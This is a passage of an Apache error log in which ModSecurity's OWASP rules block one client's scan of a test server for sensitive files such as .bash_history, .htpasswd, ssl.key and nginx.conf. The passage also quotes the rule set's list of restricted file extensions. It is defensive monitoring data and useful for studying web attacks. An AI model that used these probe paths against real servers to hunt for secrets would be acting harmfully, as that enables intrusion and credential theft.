[Thu Feb 26 01:03:37.199831 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.bash_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrgAAAAM&quot;]
[Thu Feb 26 01:03:37.200078 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrgAAAAM&quot;]
[Thu Feb 26 01:03:37.200258 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrgAAAAM&quot;]
[Thu Feb 26 01:03:37.203914 2026] [authz_core:error] [pid 2330812] [client 185.177.72.22:11416] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Thu Feb 26 01:03:37.232838 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.bashrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bashrc found within REQUEST_FILENAME: /.bashrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrwAAAAM&quot;]
[Thu Feb 26 01:03:37.233100 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrwAAAAM&quot;]
[Thu Feb 26 01:03:37.234440 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrwAAAAM&quot;]
[Thu Feb 26 01:03:37.239514 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.bash_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QngAAAAU&quot;]
[Thu Feb 26 01:03:37.239765 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QngAAAAU&quot;]
[Thu Feb 26 01:03:37.239919 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QngAAAAU&quot;]
[Thu Feb 26 01:03:37.261293 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.bashrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bashrc found within REQUEST_FILENAME: /.bashrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QnwAAAAU&quot;]
[Thu Feb 26 01:03:37.261517 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QnwAAAAU&quot;]
[Thu Feb 26 01:03:37.261656 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QnwAAAAU&quot;]
[Thu Feb 26 01:03:37.388492 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElswAAAAM&quot;]
[Thu Feb 26 01:03:37.388978 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElswAAAAM&quot;]
[Thu Feb 26 01:03:37.389129 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElswAAAAM&quot;]
[Thu Feb 26 01:03:37.406828 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QowAAAAU&quot;]
[Thu Feb 26 01:03:37.407318 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QowAAAAU&quot;]
[Thu Feb 26 01:03:37.407524 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QowAAAAU&quot;]
[Thu Feb 26 01:03:37.413965 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEltAAAAAM&quot;]
[Thu Feb 26 01:03:37.414507 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEltAAAAAM&quot;]
[Thu Feb 26 01:03:37.414667 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEltAAAAAM&quot;]
[Thu Feb 26 01:03:37.440386 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QpAAAAAU&quot;]
[Thu Feb 26 01:03:37.440891 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QpAAAAAU&quot;]
[Thu Feb 26 01:03:37.441068 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QpAAAAAU&quot;]
[Thu Feb 26 01:03:37.498548 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEltwAAAAM&quot;]
[Thu Feb 26 01:03:37.499048 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEltwAAAAM&quot;]
[Thu Feb 26 01:03:37.499208 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoEltwAAAAM&quot;]
[Thu Feb 26 01:03:37.543194 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfsigned.key&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QpwAAAAU&quot;]
[Thu Feb 26 01:03:37.543611 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id 